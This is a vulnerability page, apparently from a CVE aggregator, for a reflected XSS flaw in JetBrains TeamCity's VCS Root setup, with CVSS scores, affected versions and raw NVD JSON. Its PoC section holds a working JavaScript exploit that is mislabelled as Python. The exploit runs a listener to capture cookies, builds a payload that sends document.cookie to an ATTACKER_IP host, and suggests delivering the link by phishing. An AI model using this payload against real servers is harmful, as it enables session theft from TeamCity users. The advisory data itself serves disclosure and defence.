Security Vulnerability Report
中文
CVE-2025-68165 CVSS 5.4 MEDIUM

CVE-2025-68165

Published: 2025-12-16 16:16:06
Last Modified: 2025-12-18 19:21:00

Description

In JetBrains TeamCity before 2025.11 reflected XSS was possible on VCS Root setup

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:* - VULNERABLE
JetBrains TeamCity < 2025.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-68165 PoC - Reflected XSS in JetBrains TeamCity VCS Root setup // Target: JetBrains TeamCity < 2025.11 const http = require('http'); // Attacker's controlled server to capture cookies const attackerServer = http.createServer((req, res) => { console.log('Received request from victim:', req.url); // Log the cookie or session info if (req.headers.cookie) { console.log('Cookie captured:', req.headers.cookie); } res.writeHead(200, {'Content-Type': 'image/gif'}); res.end('GIF89a'); }); attackerServer.listen(4444, () => { console.log('Attacker server listening on port 4444'); }); // Malicious URL construction for TeamCity VCS Root XSS // Replace TEAMCITY_URL with the target server const teamcityUrl = 'http://TEAMCITY_URL:8111'; const maliciousScript = `<script>new Image().src='http://ATTACKER_IP:4444?c='+document.cookie;</script>`; const encodedScript = encodeURIComponent(maliciousScript); // VCS Root parameter injection const xssPayload = `${teamcityUrl}/admin/admin.html?action=editVcsRoot&vcsRootId=test&name=test${encodedScript}`; console.log('\n=== CVE-2025-68165 Reflected XSS PoC ==='); console.log('Malicious URL to send to victim:'); console.log(xssPayload); console.log('\nIn a real attack, this URL would be disguised in a phishing email.'); console.log('When victim clicks the link, their cookies will be sent to attacker.'); // Alternative PoC - Direct script injection const simplePayload = `${teamcityUrl}/admin/admin.html?action=editVcsRoot&vcsRootId=test&name=<img src=x onerror=alert(document.domain)>`; console.log('\nSimple test payload:'); console.log(simplePayload);

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68165", "sourceIdentifier": "[email protected]", "published": "2025-12-16T16:16:06.240", "lastModified": "2025-12-18T19:20:59.837", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In JetBrains TeamCity before 2025.11 reflected XSS was possible on VCS Root setup"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.11", "matchCriteriaId": "D80D5E22-CFD6-4363-948C-9473EFCE21A5"}]}]}], "references": [{"url": "https://www.jetbrains.com/privacy-security/issues-fixed/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}